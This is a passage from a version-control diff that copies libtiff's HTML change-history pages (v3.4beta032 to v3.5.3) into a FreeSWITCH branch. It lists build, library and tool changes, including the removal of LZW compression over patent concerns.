+   strip now includes a header read and written by the zlib library)
+<LI>the codec name printed by the TIFFPrintDirectory routine is now
+   taken from the codec table instead of from a builtin table; this means
+   that application-defined codecs are handled correctly
+<LI>a new symbol was added that contains the library version number;
+   this can be used to do a compile-time compatibility check of the
+   library version
+</UL>
+
+<P><HR WIDTH=65% ALIGN=right>
+
+<A NAME="man"><B><FONT SIZE=+3>C</FONT>HANGES IN THE MANUAL PAGES:</B></A>
+
+<UL>
+<LI>the creation and installation of manual pages was redone; it now
+    implements the documented ``configuration scheme''
+</UL>
+
+<A HREF="index.html"><IMG SRC="images/back.gif"></A> TIFF home page.<BR>
+
+<HR>
+
+<ADDRESS>
+<A HREF="sam.html">Sam Leffler</A> / <A HREF="mailto:sam@engr.sgi.com">sam@engr.sgi.com</A>
+Last updated $Date: 1999/08/09 20:21:21 $.
+</ADDRESS>
+
+</BODY>
+</HTML>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.4beta032.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.4beta032.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/v3.4beta032.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.4beta032.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.4beta032.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,90 @@
+<HTML>
+<HEAD>
+<TITLE>
+Changes in TIFF v3.4beta032
+</TITLE>
+</HEAD>
+
+<BODY>
+<FONT FACE="Arial, Helvetica, Sans">
+
+<BASEFONT SIZE=4>
+<B><FONT SIZE=+3>T</FONT>IFF <FONT SIZE=+2>C</FONT>HANGE <FONT SIZE=+2>I</FONT>NFORMATION</B>
+<BASEFONT SIZE=3>
+
+<UL>
+<HR SIZE=4 WIDTH=65% ALIGN=left>
+<B>Current Version</B>: v3.4beta032<BR>
+<B>Previous Version</B>: <A HREF=v3.4beta031.html>v3.4beta031</A><BR>
+<B>Master FTP Site</B>: <A HREF="ftp://ftp.sgi.com/graphics/tiff">ftp.sgi.com (192.48.153.1), directory graphics/tiff</A><BR>
+<HR SIZE=4 WIDTH=65% ALIGN=left>
+</UL>
+
+<P>
+This document describes the changes made to the software between the
+<I>previous</I> and <I>current</I> versions (see above).
+If you don't find something listed here, then it was not done in this
+timeframe, or it was not considered important enough to be mentioned.
+The following information is located here:
+<UL>
+<LI><A HREF="#configure">Changes in the software configuration</A>
+<LI><A HREF="#libtiff">Changes in libtiff</A>
+<LI><A HREF="#tools">Changes in the tools</A>
+<LI><A HREF="#contrib">Changes in the contributed software</A>
+</UL>
+
+<P><HR WIDTH=65% ALIGN=right>
+
+<A NAME="configure"><B><FONT SIZE=+3>C</FONT>HANGES IN THE SOFTWARE CONFIGURATION:</B></A>
+
+<UL>
+<LI>various fixups and subtle improvements to <B>configure</B>
+    from Richard Mlynarik
+</UL>
+
+<P><HR WIDTH=65% ALIGN=right>
+
+<A NAME="libtiff"><B><FONT SIZE=+3>C</FONT>HANGES IN LIBTIFF:</B></A>
+
+<UL>
+<LI>a new codec from Pixar designed for high-resolution color images;
+    note that this codec is not configured by default
+<LI>a bug fix for reading tags with a single <TT>FLOAT</TT> value
+<LI>change to the <TT>TIFFGetField</TT> calling convention:
+    a tag that has a single value of
+    type <TT>DOUBLE</TT> is now retrieved by passing a
+    ``<TT>double*</TT>'' instead of a
+    ``<TT>double**</TT>'' (this change makes the handling of tags with
+    <TT>DOUBLE</TT> values identical to the handling of tags with
+    <TT>FLOAT</TT> values)
+<LI>fix to VMS support for the handling of floating point values
+</UL>
+
+<P><HR WIDTH=65% ALIGN=right>
+
+<A NAME="tools"><B><FONT SIZE=+3>C</FONT>HANGES IN THE TOOLS:</B></A>
+
+<UL>
+<LI><B>tiffdump</B> now handles tags with <TT>FLOAT</TT> and <TT>DOUBLE</TT>
+    values
+</UL>
+
+<P><HR WIDTH=65% ALIGN=right>
+
+<A NAME="contrib"><B><FONT SIZE=+3>C</FONT>HANGES IN THE CONTRIBUTED SOFTWARE:</B></A>
+
+<UL>
+<LI>updates to the Acorn OS support from Peter Greenham
+</UL>
+
+<A HREF="index.html"><IMG SRC="images/back.gif"></A> TIFF home page.<BR>
+
+<HR>
+
+<ADDRESS>
+<A HREF="sam.html">Sam Leffler</A> / <A HREF="mailto:sam@engr.sgi.com">sam@engr.sgi.com</A>
+Last updated $Date: 1999/08/09 20:21:21 $.
+</ADDRESS>
+
+</BODY>
+</HTML>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.4beta033.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.4beta033.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/v3.4beta033.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.4beta033.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.4beta033.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,82 @@
+<HTML>
+<HEAD>
+<TITLE>
+Changes in TIFF v3.4beta033
+</TITLE>
+</HEAD>
+
+<BODY>
+<FONT FACE="Arial, Helvetica, Sans">
+
+<BASEFONT SIZE=4>
+<B><FONT SIZE=+3>T</FONT>IFF <FONT SIZE=+2>C</FONT>HANGE <FONT SIZE=+2>I</FONT>NFORMATION</B>
+<BASEFONT SIZE=3>
+
+<UL>
+<HR SIZE=4 WIDTH=65% ALIGN=left>
+<B>Current Version</B>: v3.4beta033 (aka the v3.4 release)<BR>
+<B>Previous Version</B>: <A HREF=v3.4beta032.html>v3.4beta032</A><BR>
+<B>Master FTP Site</B>: <A HREF="ftp://ftp.sgi.com/graphics/tiff">ftp.sgi.com (192.48.153.1), directory graphics/tiff</A><BR>
+<HR SIZE=4 WIDTH=65% ALIGN=left>
+</UL>
+
+<P>
+This document describes the changes made to the software between the
+<I>previous</I> and <I>current</I> versions (see above).
+If you don't find something listed here, then it was not done in this
+timeframe, or it was not considered important enough to be mentioned.
+The following information is located here:
+<UL>
+<LI><A HREF="#configure">Changes in the software configuration</A>
+<LI><A HREF="#libtiff">Changes in libtiff</A>
+<LI><A HREF="#tools">Changes in the tools</A>
+<LI><A HREF="#contrib">Changes in the contributed software</A>
+</UL>
+
+<P><HR WIDTH=65% ALIGN=right>
+
+<A NAME="configure"><B><FONT SIZE=+3>C</FONT>HANGES IN THE SOFTWARE CONFIGURATION:</B></A>
+
+<UL>
+<LI>support was added for building the library as a DSO under OSF/1
+</UL>
+
+<P><HR WIDTH=65% ALIGN=right>
+
+<A NAME="libtiff"><B><FONT SIZE=+3>C</FONT>HANGES IN LIBTIFF:</B></A>
+
+<UL>
+<LI>fixes to the Pixar codec
+<LI>portability mods for VMS
+</UL>
+
+<P><HR WIDTH=65% ALIGN=right>
+
+<A NAME="tools"><B><FONT SIZE=+3>C</FONT>HANGES IN THE TOOLS:</B></A>
+
+<UL>
+<LI>fixes to <B>gif2tiff</B> and <B>ppm2tiff</B> for building under MS/DOS
+<LI>portability mods to <B>fax2ps</B> and <B>ycbcr</B> for VMS
+</UL>
+
+<P><HR WIDTH=65% ALIGN=right>
+
+<A NAME="contrib"><B><FONT SIZE=+3>C</FONT>HANGES IN THE CONTRIBUTED SOFTWARE:</B></A>
+
+<UL>
+<LI>a new package from Alexander Lehmann
+   for building the library and tools under MS/DOS with DJGPP v2
+<LI>updated VMS support from Karsten Spang
+</UL>
+
+<A HREF="index.html"><IMG SRC="images/back.gif"></A> TIFF home page.<BR>
+
+<HR>
+
+<ADDRESS>
+<A HREF="sam.html">Sam Leffler</A> / <A HREF="mailto:sam@engr.sgi.com">sam@engr.sgi.com</A>
+Last updated $Date: 1999/08/09 20:21:21 $.
+</ADDRESS>
+
+</BODY>
+</HTML>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.4beta034.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.4beta034.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/v3.4beta034.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.4beta034.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.4beta034.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,68 @@
+<HTML>
+<HEAD>
+<TITLE>
+Changes in TIFF v3.4beta034
+</TITLE>
+</HEAD>
+
+<BODY>
+<FONT FACE="Arial, Helvetica, Sans">
+
+<BASEFONT SIZE=4>
+<B><FONT SIZE=+3>T</FONT>IFF <FONT SIZE=+2>C</FONT>HANGE <FONT SIZE=+2>I</FONT>NFORMATION</B>
+<BASEFONT SIZE=3>
+
+<UL>
+<HR SIZE=4 WIDTH=65% ALIGN=left>
+<B>Current Version</B>: v3.4beta034<BR>
+<B>Previous Version</B>: <A HREF=v3.4beta033.html>v3.4beta033</A><BR>
+<B>Master FTP Site</B>: <A HREF="ftp://ftp.sgi.com/graphics/tiff">ftp.sgi.com (192.48.153.1), directory graphics/tiff</A><BR>
+<HR SIZE=4 WIDTH=65% ALIGN=left>
+</UL>
+
+<P>
+This document describes the changes made to the software between the
+<I>previous</I> and <I>current</I> versions (see above).
+If you don't find something listed here, then it was not done in this
+timeframe, or it was not considered important enough to be mentioned.
+The following information is located here:
+<UL>
+<LI><A HREF="#configure">Changes in the software configuration</A>
+<LI><A HREF="#libtiff">Changes in libtiff</A>
+</UL>
+
+<P><HR WIDTH=65% ALIGN=right>
+
+<A NAME="configure"><B><FONT SIZE=+3>C</FONT>HANGES IN THE SOFTWARE CONFIGURATION:</B></A>
+
+<UL>
+<LI>support was added for building the library as a DSO under NetBSD
+<LI>a bug was fixed in the DSO support for Linux
+<LI>the handling of version strings has changed slightly to simplify parsing
+<LI>a new parameter, <TT>TIFFLIBREF</TT>, was added to control how the
+    library is referenced when linking programs in the <B>tools</B> directory
+</UL>
+
+<P><HR WIDTH=65% ALIGN=right>
+
+<A NAME="libtiff"><B><FONT SIZE=+3>C</FONT>HANGES IN LIBTIFF:</B></A>
+
+<UL>
+<LI>DSO creation under Solaris now forces the DSO name with a <TT>-h</TT> option
+<LI>the interface to the <B>mkversion</B> program was changed
+    to eliminate the need to parse files
+<LI>a bug was fixed in the EOL-detection logic of the T.4/T.6 decoder
+<LI>ANSI IT8 TIFF/IT tag definitions were added to <B>tiff.h</B>
+</UL>
+
+<A HREF="index.html"><IMG SRC="images/back.gif"></A> TIFF home page.<BR>
+
+<HR>
+
+<ADDRESS>
+<A HREF="sam.html">Sam Leffler</A> / <A HREF="mailto:sam@engr.sgi.com">sam@engr.sgi.com</A>
+Last updated $Date: 1999/08/09 20:21:21 $.
+</ADDRESS>
+
+</BODY>
+</HTML>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.4beta035.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.4beta035.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/v3.4beta035.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.4beta035.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.4beta035.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,63 @@
+<HTML>
+<HEAD>
+<TITLE>
+Changes in TIFF v3.4beta035
+</TITLE>
+</HEAD>
+
+<BODY>
+<FONT FACE="Arial, Helvetica, Sans">
+
+<BASEFONT SIZE=4>
+<B><FONT SIZE=+3>T</FONT>IFF <FONT SIZE=+2>C</FONT>HANGE <FONT SIZE=+2>I</FONT>NFORMATION</B>
+<BASEFONT SIZE=3>
+
+<UL>
+<HR SIZE=4 WIDTH=65% ALIGN=left>
+<B>Current Version</B>: v3.4beta035<BR>
+<B>Previous Version</B>: <A HREF=v3.4beta034.html>v3.4beta034</A><BR>
+<B>Master FTP Site</B>: <A HREF="ftp://ftp.sgi.com/graphics/tiff">ftp.sgi.com (192.48.153.1), directory graphics/tiff</A><BR>
+<HR SIZE=4 WIDTH=65% ALIGN=left>
+</UL>
+
+<P>
+This document describes the changes made to the software between the
+<I>previous</I> and <I>current</I> versions (see above).
+If you don't find something listed here, then it was not done in this
+timeframe, or it was not considered important enough to be mentioned.
+The following information is located here:
+<UL>
+<LI><A HREF="#configure">Changes in the software configuration</A>
+<LI><A HREF="#libtiff">Changes in libtiff</A>
+</UL>
+
+<P><HR WIDTH=65% ALIGN=right>
+
+<A NAME="configure"><B><FONT SIZE=+3>C</FONT>HANGES IN THE SOFTWARE CONFIGURATION:</B></A>
+
+<UL>
+<LI>support was added installing the HTML documentation
+<LI>support was added for building the library as a DSO under FreeBSD
+</UL>
+
+<P><HR WIDTH=65% ALIGN=right>
+
+<A NAME="libtiff"><B><FONT SIZE=+3>C</FONT>HANGES IN LIBTIFF:</B></A>
+
+<UL>
+<LI>the interface to the <B>mkversion</B> program was restored to
+    the form used prior to v3.4beta034
+<LI>several portability problems for 16-bit systems were fixed
+</UL>
+
+<A HREF="index.html"><IMG SRC="images/back.gif"></A> TIFF home page.<BR>
+
+<HR>
+
+<ADDRESS>
+<A HREF="sam.html">Sam Leffler</A> / <A HREF="mailto:sam@engr.sgi.com">sam@engr.sgi.com</A>
+Last updated $Date: 1999/08/09 20:21:21 $.
+</ADDRESS>
+
+</BODY>
+</HTML>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.4beta036.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.4beta036.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/v3.4beta036.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.4beta036.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.4beta036.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,117 @@
+<HTML>
+<HEAD>
+<TITLE>
+Changes in TIFF v3.4beta036
+</TITLE>
+</HEAD>
+
+<BODY>
+<FONT FACE="Arial, Helvetica, Sans">
+
+<BASEFONT SIZE=4>
+<B><FONT SIZE=+3>T</FONT>IFF <FONT SIZE=+2>C</FONT>HANGE <FONT SIZE=+2>I</FONT>NFORMATION</B>
+<BASEFONT SIZE=3>
+
+<UL>
+<HR SIZE=4 WIDTH=65% ALIGN=left>
+<B>Current Version</B>: v3.4beta036<BR>
+<B>Previous Version</B>: <A HREF=v3.4beta035.html>v3.4beta035</A><BR>
+<B>Master FTP Site</B>: <A HREF="ftp://ftp.sgi.com/graphics/tiff">ftp.sgi.com (192.48.153.1), directory graphics/tiff</A><BR>
+<HR SIZE=4 WIDTH=65% ALIGN=left>
+</UL>
+
+<P>
+This document describes the changes made to the software between the
+<I>previous</I> and <I>current</I> versions (see above).
+If you don't find something listed here, then it was not done in this
+timeframe, or it was not considered important enough to be mentioned.
+The following information is located here:
+<UL>
+<LI><A HREF="#configure">Changes in the software configuration</A>
+<LI><A HREF="#libtiff">Changes in libtiff</A>
+<LI><A HREF="#tools">Changes in the tools</A>
+</UL>
+
+<P><HR WIDTH=65% ALIGN=right>
+
+<A NAME="configure"><B><FONT SIZE=+3>C</FONT>HANGES IN THE SOFTWARE CONFIGURATION:</B></A>
+
+<UL>
+<LI>support was added for building the library as a DSO under HP-UX with 
+    the native C compiler
+<LI>tools are now built with explicit pathnames for the DSO under IRIX,
+    Solaris, and Linux
+<LI>DSO configuration support for Linux was changed to require that
+    <B>libc.so</B> only be readable (not executable)
+</UL>
+
+<P><HR WIDTH=65% ALIGN=right>
+
+<A NAME="libtiff"><B><FONT SIZE=+3>C</FONT>HANGES IN LIBTIFF:</B></A>
+
+<UL>
+<LI>support was add for ICC: <TT>NumberOfInks</TT>, and <TT>ICCProfile</TT>
+<LI>a memory leak caused by doing <TT>TIFFSetDirectory(0)</TT> was fixed
+<LI>a bug was fixed whereby certain multi-directory files were not
+    properly handled when accessed by mapping the data into memory 
+<LI>the strip chopping support is now always compiled
+    into the library with the default usage controlled by a
+    <TT>STRIPCHOP_DEFAULT</TT> configuration parameter
+<LI>the strip chopping support no longer chops tiled images
+<LI>all static strings are now const--for shared libraries
+<LI>the logic for estimating the strip size of images without
+    a <TT>StripByteCounts</TT> tag was improved by handling
+    <TT>PlanarContig</TT> images differently from <TT>PlanarSeparate</TT>
+<LI>a bug was fixed in the G3 codec when converting the Y resolution
+    of data specified in metric units
+<LI>a bug was fixed in the G3/G4 decoder for data where lines terminate
+    with a v0 code
+<LI>the <TT>TIFFRGBAImage</TT> support was changed to scale 16-bit colormap
+    entries more conservatively to avoid problems with applications
+    that do not generate fully saturated pixel values
+<LI>the LZW decoder was changed to use a more conservative scheme when
+    bounds checking the hash table array; this avoids pitfalls with
+    systems that load objects into memory in unusual locations
+<LI>a bug was fixed in <TT>TIFFPrintDirectory</TT>'s handling of the
+    <TT>InkNames</TT> tag
+<LI><TT>TIFFPrintDirectory</TT> now understands <TT>NumberOfInks</TT>
+    and ICC-related tags
+<LI>the routines for reading image data now provide more useful information
+    when a read error is encountered
+<LI>support was added for compiling with Microsoft Visual C++ 4.0
+</UL>
+
+<P><HR WIDTH=65% ALIGN=right>
+
+<A NAME="tools"><B><FONT SIZE=+3>C</FONT>HANGES IN THE TOOLS:</B></A>
+
+<UL>
+<LI>a bug was fixed in <B>pal2rgb</B>'s colormap handling
+<LI><B>tiff2ps</B> now includes John Wehle's changes for maintaining 
+    the aspect ratio
+    of images when scaling and for honoring the deadzone on a page when
+    generating PostScript Level II
+<LI><B>tiff2ps</B> does a better job guarding against the mishandling
+    of greyscale images
+<LI><B>tiff2ps</B> now correctly converts X- and Y-resolution values
+    specified in metric units
+<LI><B>tiffdump</B> has a new <TT>-m</TT> option to control the maximum
+    number of indirect
+    data values printed for a tag (by default 24)
+<LI><B>tiffdump</B> understands several new tags
+<LI><B>tiffdump</B> now shows any terminating null in ASCII strings
+<LI><B>tiffinfo</B> now suppresses strip chopping when interpreting an image;
+    a new <TT>-z</TT> option has been added to enable strip chopping
+</UL>
+
+<A HREF="index.html"><IMG SRC="images/back.gif"></A> TIFF home page.<BR>
+
+<HR>
+
+<ADDRESS>
+<A HREF="sam.html">Sam Leffler</A> / <A HREF="mailto:sam@engr.sgi.com">sam@engr.sgi.com</A>
+Last updated $Date: 1999/08/09 20:21:21 $.
+</ADDRESS>
+
+</BODY>
+</HTML>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.5.1.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.5.1.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/v3.5.1.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.5.1.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.5.1.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,75 @@
+<HTML>
+<HEAD>
+<TITLE>
+Changes in TIFF v3.5.1
+</TITLE>
+</HEAD>
+
+<BODY BGCOLOR=white>
+<FONT FACE="Arial, Helvetica, Sans">
+<FONT FACE="Arial, Helvetica, Sans"> 
+
+<BASEFONT SIZE=4>
+<B><FONT SIZE=+3>T</FONT>IFF <FONT SIZE=+2>C</FONT>HANGE <FONT SIZE=+2>I</FONT>NFORMATION</B>
+<BASEFONT SIZE=3>
+
+<UL>
+<HR SIZE=4 WIDTH=65% ALIGN=left>
+<B>Current Version</B>: v3.5.1<BR>
+<B>Previous Version</B>: v3.4beta037<BR>
+<B>Master FTP Site</B>: <A HREF="ftp://ftp.onshore.com/pub/libtiff">ftp.onshore.com, directory graphics/tiff</A><BR>
+<B>Master HTTP Site</B>: <A HREF="http://www.remotesensing.org/libtiff/>http://www.remotesensing.org/libtiff</a> 
+<HR SIZE=4 WIDTH=65% ALIGN=left>
+</UL>
+
+<P>
+This document describes the changes made to the software between the
+<I>previous</I> and <I>current</I> versions (see above).
+If you don't find something listed here, then it was not done in this
+timeframe, or it was not considered important enough to be mentioned.
+The following information is located here:
+<UL>
+<LI><A HREF="#configure">Changes in the software configuration</A>
+<LI><A HREF="#libtiff">Changes in libtiff</A>
+<LI><A HREF="#tools">Changes in the tools</A>
+</UL>
+
+<P><HR WIDTH=65% ALIGN=right>
+
+<A NAME="configure"><B><FONT SIZE=+3>C</FONT>HANGES IN THE SOFTWARE CONFIGURATION:</B></A>
+
+<UL>
+		  <LI> <em> None of consequence </em> 
+</UL>
+
+<P><HR WIDTH=65% ALIGN=right>
+
+<A NAME="libtiff"><B><FONT SIZE=+3>C</FONT>HANGES IN LIBTIFF:</B></A>
+
+
+<UL>
+<LI> Support was added for IPTC Newsphoto metadata (TIFFTAGE_IPTCNEWSPHOTO)
+<LI> Support was added for photoshop caption handling (TIFFTAG_PHOTOSHOP)
+</UL>
+
+<P><HR WIDTH=65% ALIGN=right>
+
+<A NAME="tools"><B><FONT SIZE=+3>C</FONT>HANGES IN THE TOOLS:</B></A>
+
+<UL>
+<LI> <A HREF=mailto:billr@corbis.com>Bill Radcliffe's</a> iptcutil was
+added to the "contrib" subdirectory .  It can convert an IPTC binary
+blob to ASCII text and vice-versa.  The blob itself can be extracted
+from or added to an image with the <A
+href=http://www.ImageMagick.org/>ImageMagick</a> convert(1)
+utility.
+</UL>
+
+<A HREF="index.html"><IMG SRC="images/back.gif"></A> TIFF home page.<BR>
+
+<HR>
+
+Last updated $Date: 2006/01/03 01:42:30 $.
+
+</BODY>
+</HTML>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.5.2.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.5.2.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/v3.5.2.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.5.2.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.5.2.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,108 @@
+<HTML>
+<HEAD>
+<TITLE>
+Changes in TIFF v3.5.2
+</TITLE>
+</HEAD>
+
+<BODY BGCOLOR=white>
+<FONT FACE="Arial, Helvetica, Sans">
+<FONT FACE="Arial, Helvetica, Sans"> 
+
+<BASEFONT SIZE=4>
+<B><FONT SIZE=+3>T</FONT>IFF <FONT SIZE=+2>C</FONT>HANGE <FONT SIZE=+2>I</FONT>NFORMATION</B>
+<BASEFONT SIZE=3>
+
+<UL>
+<HR SIZE=4 WIDTH=65% ALIGN=left>
+<B>Current Version</B>: v3.5.2<BR>
+<B>Previous Version</B>: <A HREF=v3.5.1.html>v3.5.1</a><BR>
+<B>Master FTP Site</B>: <A HREF="ftp://ftp.onshore.com/pub/libtiff">ftp.onshore.com, directory graphics/tiff</A><BR>
+<B>Master HTTP Site</B>: <A HREF="http://www.remotesensing.org/libtiff/">http://www.remotesensing.org/libtiff</a> 
+<HR SIZE=4 WIDTH=65% ALIGN=left>
+</UL>
+
+<P>
+This document describes the changes made to the software between the
+<I>previous</I> and <I>current</I> versions (see above).
+If you don't find something listed here, then it was not done in this
+timeframe, or it was not considered important enough to be mentioned.
+The following information is located here:
+<UL>
+<LI><A HREF="#configure">Changes in the software configuration</A>
+<LI><A HREF="#libtiff">Changes in libtiff</A>
+<LI><A HREF="#tools">Changes in the tools</A>
+</UL>
+
+<P><HR WIDTH=65% ALIGN=right>
+
+<A NAME="configure"><B><FONT SIZE=+3>C</FONT>HANGES IN THE SOFTWARE CONFIGURATION:</B></A>
+
+<UL>
+	<LI> Corrected alpha versioning.  
+
+	<LI> Removed distinction between  alpha and release targets in Makefile.in. 
+
+	<LI> Added release.stamp target, which tags cvs tree, and updates 
+	  "RELEASE-DATE"
+
+	<LI> Added releasediff target, which diffs tree with source as of 
+	  date in "RELEASE-DATE"
+	  
+	<LI>Ticked up version to 3.5.2 (alpha 01 -- but I think we'll moving 
+	  away from alpha/non-alpha distinctions). 
+
+</UL>
+
+<P><HR WIDTH=65% ALIGN=right>
+
+<A NAME="libtiff"><B><FONT SIZE=+3>C</FONT>HANGES IN LIBTIFF:</B></A>
+
+
+<UL> 
+        <LI> Added IRIX/gcc, and OSF/1 4.x support on behalf of 
+	Albert Chin-A-Young <china@thewrittenword.com>
+
+        <LI> Added TIFFReassignTagToIgnore() API on behalf of 
+        Bruce Cameron <cameron@petris.com>.  Man page still pending.
+
+        <LI> pre-remove so link before softlink in LINUXdso action in 
+	libtiff/Makefile.in to avoid failure on LINUXdso builds other than
+	the first.
+
+        <LI> Fixed problem with cvtcmap() in tif_getimage.c modifying the
+	colormaps owned by the TIFF handle itself when trying to fixup wrong
+	(eight bit) colormaps.  Corrected by maintaining a private copy of
+	the colormap. 
+
+	<LI> Added TIFFReadRGBATile()/TIFFReadRGBAStrip() support in 
+	tif_getimage.c.
+
+	<LI> Applied "a" mode fix to tif_win32.c/TIFFOpen() as suggested 
+	by Christopher Lawton <clawton@mathworks.com>
+
+	<LI> Set O_BINARY for tif_unix.c open() ... used on cygwin for instance.
+
+	<LI> Added CYGWIN case in configure.
+
+	<LI> Applied Francois Dagand's patch to handle fax decompression bug. 
+	(sizes >= 65536 were failing) 
+</UL>
+
+<P><HR WIDTH=65% ALIGN=right>
+
+<A NAME="tools"><B><FONT SIZE=+3>C</FONT>HANGES IN THE TOOLS:</B></A>
+
+<UL>
+        <LI> Added addtiffo (add overviews to a TIFF file) in contrib.  Didn't
+	    put it in tools since part of it is in C++.
+</UL>
+
+<A HREF="index.html"><IMG SRC="images/back.gif"></A> TIFF home page.<BR>
+
+<HR>
+
+Last updated $Date: 2004/11/26 14:37:20 $.
+
+</BODY>
+</HTML>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.5.3.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.5.3.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/v3.5.3.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.5.3.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.5.3.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,132 @@
+<HTML>
+<HEAD>
+<TITLE>
+Changes in TIFF v3.5.3
+</TITLE>
+</HEAD>
+
+<BODY BGCOLOR=white>
+<FONT FACE="Arial, Helvetica, Sans">
+<FONT FACE="Arial, Helvetica, Sans"> 
+
+<BASEFONT SIZE=4>
+<B><FONT SIZE=+3>T</FONT>IFF <FONT SIZE=+2>C</FONT>HANGE <FONT SIZE=+2>I</FONT>NFORMATION</B>
+<BASEFONT SIZE=3>
+
+<UL>
+<HR SIZE=4 WIDTH=65% ALIGN=left>
+<B>Current Version</B>: v3.5.3<BR>
+<B>Previous Version</B>: <A HREF=v3.5.2.html>v3.5.2</a><BR>
+<B>Master FTP Site</B>: <A HREF="ftp://ftp.onshore.com/pub/libtiff">ftp.onshore.com</a>, directory pub/libtiff</A><BR>
+<B>Master HTTP Site</B>: <A HREF="http://www.remotesensing.org/libtiff/">http://www.remotesensing.org/libtiff</a> 
+<HR SIZE=4 WIDTH=65% ALIGN=left>
+</UL>
+
+<P>
+This document describes the changes made to the software between the
+<I>previous</I> and <I>current</I> versions (see above).
+If you don't find something listed here, then it was not done in this
+timeframe, or it was not considered important enough to be mentioned.
+The following information is located here:
+<UL>
+<LI><A HREF="#configure">Changes in the software configuration</A>
+<LI><A HREF="#libtiff">Changes in libtiff</A>
+<LI><A HREF="#tools">Changes in the tools</A>
+</UL>
+<p> 
+The ChangeLog will follow, but please note the most important change: 
+LZW compression has been removed. 
+<p>
+Unisys has the patent on LZW compression and have been very active in
+their enforcement of late, demanding payments of $5000 or more from
+websites using unlicensed software to create GIF's.  They could well
+do the same do persons using libtiff to create LZW compressed TIFF
+images.
+<p> 
+From <A HREF=http://burnallgifs.org>Burn All GIF's Day</a>:
+<br> 
+<em>The catch is that it appears to be difficult or impossible to get a
+Unisys license to use LZW in free software that complies with the Open
+Source Definition</em>
+<P>
+Unfortunatly, the removal of LZW compression means that saved image size has
+grown dramatically.  Without a change in the TIFF spec to support
+another lossless compression format, this is unavoidable.
+<P>
+The library can use zip for lossless compression, but as this is not
+part of the spec, TIFFs using zip compression may not work with other
+software
+<P> 
+We will be making a patch available that will contain the LZW
+compression code for users who have either obtained a license from
+Unisys or are willing to risk it. 
+<p> 
+LZW decompression is unchanged. 
+<p> 
+<P><HR WIDTH=65% ALIGN=left>
+
+<A NAME="configure"><B><FONT SIZE=+3>C</FONT>HANGES IN THE SOFTWARE CONFIGURATION:</B></A>
+
+<UL>
+	<LI> Added zip creation to release makefile target 
+
+
+</UL>
+
+<P><HR WIDTH=65% ALIGN=left>
+
+<A NAME="libtiff"><B><FONT SIZE=+3>C</FONT>HANGES IN LIBTIFF:</B></A>
+
+
+<UL> 
+
+	<LI> Added html for TIFFWriteTile.3t man page. 
+	
+	<LI> Added some changes to tif_write.c to support rewriting existing
+	fixed sized tiles and strips.  Code mods disabled by default, only
+	enabled if REWRITE_HACK is defined for now.
+
+	<LI> Added TIFFWriteTile.3t man page.
+
+	<LI> Added notes on use of makefile.vc in build.html, and fixed 
+	email subscription address.
+
+	<LI>  Fixed apocalypse-inducing y2k bug in contrib/ras/ras2tiff.c 
+
+	<LI>  Did some casts cleaning up to reduce compiler warnings in tif_fax3.c,
+	   from Bruce Carmeron <cameron@petris.com> -- modifications of 
+	   changes made by Frank (sun cc still complained on cast). 
+
+	<LI> fixed various VC++ warnings as suggested by Gilles Vollant
+	<info@winimage.com>.  
+
+	<LI> Modified TIFFquery.3t man pages info on TIFFIsByteSwapped() to
+	not imply applications are responsible for image data swapping.
+
